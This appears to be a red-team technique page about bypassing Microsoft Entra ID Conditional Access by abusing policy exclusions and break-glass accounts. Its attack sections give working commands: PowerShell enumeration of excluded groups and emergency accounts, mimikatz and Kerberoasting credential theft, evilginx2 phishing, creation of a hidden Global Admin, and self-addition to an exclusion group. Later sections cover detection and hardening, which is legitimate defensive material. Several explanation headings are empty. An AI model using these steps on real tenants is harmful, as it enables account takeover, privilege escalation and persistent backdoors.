| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-008 |
| MITRE ATT&CK v18.1 | T1562.001 - Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | Entra ID |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Azure AD / Entra ID versions with Conditional Access |
| Patched In | N/A (Exclusions are legitimate for business continuity) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Entra ID’s Conditional Access (CA) policies are the organization’s primary defense mechanism, enforcing MFA, device compliance requirements, and restricting access from risky locations. However, all CA policies support “exclusions”—groups or users exempted from policy enforcement. These exclusions exist for legitimate reasons (service accounts, break-glass accounts, integration systems) but create a security gap that attackers exploit. An attacker who obtains compromised credentials for an excluded account (or adds themselves to an excluded group) can bypass ALL Conditional Access policies, including MFA enforcement, device compliance checks, and geographic restrictions. This technique is fundamentally an evasion mechanism because the attacker’s activity appears legitimate from the authentication system’s perspective—the system is working correctly by exempting them.
Attack Surface: Entra ID Conditional Access policy exclusions, Group memberships (especially cloud-only groups), Service principal exclusions, Break-glass emergency access accounts.
Business Impact: Complete bypass of all adaptive identity and access controls. Attackers can authenticate from any location, any time, with any device, without triggering MFA or compliance checks. This enables account takeover, credential theft, privilege escalation, and lateral movement across cloud resources without triggering security alerts.
Technical Context: Exploitation takes 2-5 minutes once an excluded account is compromised. Detection is very low because the account’s exclusion from CA appears legitimate in logs. Attackers who are excluded from MFA requirements can use stolen credentials immediately without waiting for MFA codes or biometric prompts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.1.4 | Ensure MFA is enforced for all administrative users |
| DISA STIG | IA-2 (3.5.1) | Multi-factor Authentication for administrative access |
| NIST 800-53 | AC-3, IA-2 | Access Control Enforcement and Authentication |
| GDPR | Art. 32 | Security of Processing - Multi-factor authentication required |
| DORA | Art. 9 | Protection and Prevention - Strong authentication controls |
| NIS2 | Art. 21 | Cyber Risk Management - Authentication requirements |
| ISO 27001 | A.9.4.3 | Use of privileged utility programs; A.9.2.2 User access provisioning |
| ISO 27005 | “Bypass of MFA controls” | Risk Scenario |
Enumerate Conditional Access Policies and Exclusions (PowerShell):
# Import Graph module
Import-Module Microsoft.Graph.Identity.SignIns
# Connect to Graph
Connect-MgGraph -Scopes "ConditionalAccess.Read.All"
# List all CA policies
$policies = Get-MgIdentityConditionalAccessPolicy
$policies | Select-Object DisplayName, State | Format-Table
# View exclusions for each policy
foreach ($policy in $policies) {
Write-Host "Policy: $($policy.DisplayName)"
Write-Host "Excluded Users:" $policy.Conditions.Users.ExcludeUsers
Write-Host "Excluded Groups:" $policy.Conditions.Users.ExcludeGroups
Write-Host "---"
}
Supported Versions: All Entra ID versions
Objective: Identify which accounts/groups are exempt from Conditional Access policies.
Command (PowerShell - Full Exclusion Discovery):
# Connect to Graph API
Connect-MgGraph -Scopes "ConditionalAccess.Read.All", "Group.Read.All", "User.Read.All"
# Retrieve all CA policies
$policies = Get-MgIdentityConditionalAccessPolicy
# Extract and analyze exclusions
$excludedAccounts = @{}
foreach ($policy in $policies) {
$displayName = $policy.DisplayName
$excludedUsers = $policy.Conditions.Users.ExcludeUsers
$excludedGroups = $policy.Conditions.Users.ExcludeGroups
if ($excludedUsers -or $excludedGroups) {
Write-Host "Policy: $displayName"
Write-Host " Excluded Users: $($excludedUsers -join ', ')"
Write-Host " Excluded Groups: $($excludedGroups -join ', ')"
# Enumerate group members
foreach ($groupId in $excludedGroups) {
$groupMembers = Get-MgGroupMember -GroupId $groupId
Write-Host " Group Members: $($groupMembers.DisplayName -join ', ')"
}
}
}
Expected Output:
Policy: Require MFA for All Users
Excluded Groups: 11111111-2222-3333-4444-555555555555
Group Members: ADFS-ServiceAccount, Exchange-ServiceAccount, AppGateway-SA
Policy: Require Compliant Device
Excluded Groups: 66666666-7777-8888-9999-aaaaaaaaaaaa
Group Members: Emergency-Breakglass, ServiceAccount-Automation
What This Means:
OpSec & Evasion:
Objective: Compromise a service account that is exempt from Conditional Access.
Attack Vector Examples:
Option A: Credential Theft from On-Premises (Hybrid Scenarios)
# If ADFS-ServiceAccount password hash is stored locally, extract via LSASS dump
# This is more reliable than targeting cloud accounts for MFA bypass
# Attacker already has shell access to AD server:
mimikatz # lsadump::sam
# Extract ADFS-ServiceAccount hash, then use Pass-the-Hash
# Kerberoast the ADFS service account
GetUserSPNs.py -request -dc-ip <DC_IP> -outputfile hashes.txt <domain>/<user>:<pass>
hashcat -m 13100 hashes.txt <wordlist>
Option B: Phishing Excluded Service Account
# Send MFA bypass phishing email to automation team
# "Urgent: Update Azure credentials immediately - click here"
# Phishing link is malicious auth proxy (evilginx2)
# Captures username/password without MFA challenge
Option C: Credential Stuffing (Least Likely)
# Use previously breached passwords from public leaks
# Test against excluded service accounts
# Statistically likely to compromise low-security service accounts
Objective: Sign in with compromised excluded account; observe lack of MFA challenge.
Command (Interactive Sign-In):
# Attacker signs in with compromised ADFS-ServiceAccount
# Navigate to portal.azure.com or login.microsoft.com
# Enter credentials: ADFS-ServiceAccount@tenant.onmicrosoft.com
# Expected behavior:
# - No MFA challenge (account is excluded)
# - No device compliance check (excluded)
# - No geographic restriction (excluded)
# - Sign-in succeeds immediately
What This Means:
OpSec & Evasion:
Objective: Create persistent admin account using the excluded service account.
Command (Add New Global Admin):
# Using the excluded account's access, add new hidden admin account
# This new account can then be removed/hidden to avoid detection
# Step 1: Create new cloud-only user (no on-premises sync)
New-MgUser -DisplayName "Update-Service-Account" `
-MailNickname "updateservice" `
-UserPrincipalName "updateservice@tenant.onmicrosoft.com" `
-Password (ConvertTo-SecureString "Complex!Pass2024$" -AsPlainText -Force) `
-AccountEnabled $true
# Step 2: Assign Global Admin role
New-MgDirectoryRoleMember -DirectoryRoleId (Get-MgDirectoryRole | ? {$_.DisplayName -eq "Global Administrator"}).Id `
-DirectoryObjectId (Get-MgUser -Filter "userPrincipalName eq 'updateservice@tenant.onmicrosoft.com'").Id
# Result: New admin account created and hidden in plain sight
# Can be used even if service account is disabled later
What This Means:
Supported Versions: All Entra ID versions (if attacker has Directory Administrator role)
Objective: Compromise an account with ability to modify group memberships.
Required Roles:
Objective: Directly add compromised account to existing exclusion group.
Command (PowerShell):
# Connect as compromised admin
Connect-MgGraph -Scopes "Group.ReadWrite.All", "User.Read.All"
# Identify excluded group (e.g., "Service Accounts - CA Exclusion")
$excludedGroup = Get-MgGroup -Filter "displayName eq 'Service Accounts - CA Exclusion'"
# Add attacker's account to this group
$attackerUser = Get-MgUser -Filter "userPrincipalName eq 'attacker@tenant.onmicrosoft.com'"
New-MgGroupMember -GroupId $excludedGroup.Id -DirectoryObjectId $attackerUser.Id
Alternative (Graph REST API):
# Add user to group via REST API
curl -X POST \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/'$ATTACKER_USER_ID'"
}' \
"https://graph.microsoft.com/v1.0/groups/$EXCLUDED_GROUP_ID/members/\$ref"
Expected Output:
(No output on success; group membership updated silently)
What This Means:
OpSec & Evasion:
Supported Versions: All Entra ID with emergency access (recommended feature, rarely used)
Objective: Locate the break-glass emergency access account (usually least monitored).
Command (PowerShell - Find Emergency Access):
Connect-MgGraph -Scopes "User.Read.All"
# Break-glass accounts typically have these characteristics:
# - No licenses assigned
# - Cloud-only (no on-premises sync)
# - Rarely used (last sign-in is months/years ago)
# - High-privilege role (Global Admin)
Get-MgUser -Filter "UserType eq 'Member'" | Where-Object {
# Check if user has no licenses
$licenses = Get-MgUserLicenseDetail -UserId $_.Id
if ($licenses.Count -eq 0) {
# Check if Global Admin
$roles = Get-MgUserMemberOf -UserId $_.Id | Where-Object { $_.AdditionalProperties['role.displayName'] -eq "Global Administrator" }
if ($roles) {
# Likely a break-glass account
Write-Host "Potential Break-Glass: $($_.UserPrincipalName) - Last Sign-In: $(($_ | Get-MgUser).SignInActivity.LastSignInDateTime)"
}
}
}
Expected Output:
Potential Break-Glass: emergency@tenant.onmicrosoft.com - Last Sign-In: 2023-06-15 (7+ months ago)
Potential Break-Glass: breakglass-admin@tenant.onmicrosoft.com - Last Sign-In: 2022-01-20 (2+ years ago)
What This Means:
Objective: Obtain break-glass password from IT vault/documentation.
Attack Vectors:
Objective: Sign in with break-glass account; bypass all CA policies.
Command (Interactive):
Navigate to login.microsoft.com
Username: emergency@tenant.onmicrosoft.com
Password: [long-stored-password-from-vault]
Expected result:
- No MFA challenge (emergency account exempt)
- No CA policy enforcement
- Full access to tenant resources immediately
OpSec & Evasion:
# Disable the compromised excluded account
Update-MgUser -UserId "ADFS-ServiceAccount@tenant.onmicrosoft.com" -AccountEnabled $false
# Force sign-out of all sessions
Revoke-MgUserSignInSession -UserId "ADFS-ServiceAccount@tenant.onmicrosoft.com"
# Reset password (make it complex and store securely)
$newPassword = "SuperComplex!NewPass2024$#@!RandomString"
Update-MgUserPassword -UserId "ADFS-ServiceAccount@tenant.onmicrosoft.com" -NewPassword $newPassword -ForceChangePasswordNextSignIn $true
Manual (Azure Portal):
# Remove attacker from excluded group
$excludedGroup = Get-MgGroup -Filter "displayName eq 'Service Accounts - CA Exclusion'"
$attacker = Get-MgUser -Filter "userPrincipalName eq 'attacker@tenant.onmicrosoft.com'"
Remove-MgGroupMemberByRef -GroupId $excludedGroup.Id -DirectoryObjectId $attacker.Id
# Find suspicious accounts created recently
Get-MgUser -Filter "createdDateTime gt 2026-01-01 and userType eq 'Member'" | Select DisplayName, UserPrincipalName, CreatedDateTime, AccountEnabled
# Disable suspicious accounts
foreach ($account in $suspiciousAccounts) {
Update-MgUser -UserId $account.Id -AccountEnabled $false
Remove-MgUser -UserId $account.Id # Delete if possible
}
# Audit all CA policy exclusions
$policies = Get-MgIdentityConditionalAccessPolicy
foreach ($policy in $policies) {
Write-Host "Policy: $($policy.DisplayName)"
Write-Host "Excluded Users: $($policy.Conditions.Users.ExcludeUsers -join ', ')"
Write-Host "Excluded Groups: $($policy.Conditions.Users.ExcludeGroups -join ', ')"
# Remove suspicious exclusions
if ($policy.Conditions.Users.ExcludeUsers -contains $ATTACKER_UPN) {
# Update policy to remove exclusion
$policy.Conditions.Users.ExcludeUsers = @($policy.Conditions.Users.ExcludeUsers | Where-Object { $_ -ne $ATTACKER_UPN })
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policy.Id -BodyParameter $policy
}
}
Minimize Conditional Access Exclusions (Zero Trust Principle)
Applies To Versions: All Entra ID
Manual Steps (Audit & Reduce Exclusions):
PowerShell (Identify Unused Excluded Accounts):
# Find excluded accounts with no recent activity
$policies = Get-MgIdentityConditionalAccessPolicy
foreach ($policy in $policies) {
$excludedGroups = $policy.Conditions.Users.ExcludeGroups
foreach ($groupId in $excludedGroups) {
$groupMembers = Get-MgGroupMember -GroupId $groupId
foreach ($member in $groupMembers) {
$lastSignIn = (Get-MgUser -UserId $member.Id).SignInActivity.LastSignInDateTime
if ($lastSignIn -lt (Get-Date).AddDays(-90)) {
Write-Host "Candidate for Removal: $($member.DisplayName) - Last Sign-In: $lastSignIn"
}
}
}
}
Implement Conditional Access for Excluded Accounts (Compensating Control)
Manual Steps:
Enable Emergency Access Account Monitoring
Manual Steps (Alert on Break-Glass Usage):
Implement Conditional Access “Require Compliant Device” (Cannot Be Easily Bypassed)
Manual Steps:
Require Compliant Devices for Sensitive AppsUse PIM (Privileged Identity Management) for Admin Role Assignment
Manual Steps:
Create “Exclusion Approval Board” with Multi-Person Approval
Manual Steps:
Implement Service Account Credential Rotation Policy
Manual Steps:
# Check CA policies for excessive exclusions
Get-MgIdentityConditionalAccessPolicy | ForEach-Object {
$policyName = $_.DisplayName
$excludedCount = ($_.Conditions.Users.ExcludeUsers.Count) + ($_.Conditions.Users.ExcludeGroups.Count)
if ($excludedCount -gt 2) {
Write-Host "WARNING: Policy '$policyName' has $excludedCount exclusions (should be ≤2)"
}
}
# Verify emergency account has no licenses and no recent activity
$breakGlass = Get-MgUser -Filter "userPrincipalName eq 'emergency@tenant.onmicrosoft.com'"
$licenses = Get-MgUserLicenseDetail -UserId $breakGlass.Id
$lastSignIn = $breakGlass.SignInActivity.LastSignInDateTime
Write-Host "Break-Glass Account: $($breakGlass.UserPrincipalName)"
Write-Host "Has Licenses: $($licenses.Count -gt 0)"
Write-Host "Last Sign-In: $lastSignIn (should be old if not in use)"
# Verify PIM is configured for service account roles
Get-MgIdentityGovernancePrivilegedAccessScheduleRequest | Where-Object { $_.TargetScheduleInfo.Principal.Id -in $SERVICE_ACCOUNTS } | Select Status, ApprovalStage
Expected Output (If Secure):
Policy: Require MFA for All Users
Has 1 exclusion (within acceptable range)
Break-Glass Account: emergency@tenant.onmicrosoft.com
Has Licenses: False
Last Sign-In: 2025-08-15 (8+ months old, not recently used)
ApprovalStage : Approval Required (MFA enforced)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Steal OAuth device code, obtain user token |
| 2 | Privilege Escalation | [PE-ACCTMGMT-014] Global Administrator Backdoor | Use user token to add hidden admin account |
| 3 | Defense Evasion | [EVADE-IMPAIR-008] | Add backdoor account to CA exclusion group |
| 4 | Persistence | [PERSIST-003] OAuth Application Persistence | Register malicious app using excluded account (no MFA required) |
| 5 | Impact | [DATA-EXF-001] Bulk Data Exfiltration | Export tenant data using app without MFA bypass detection |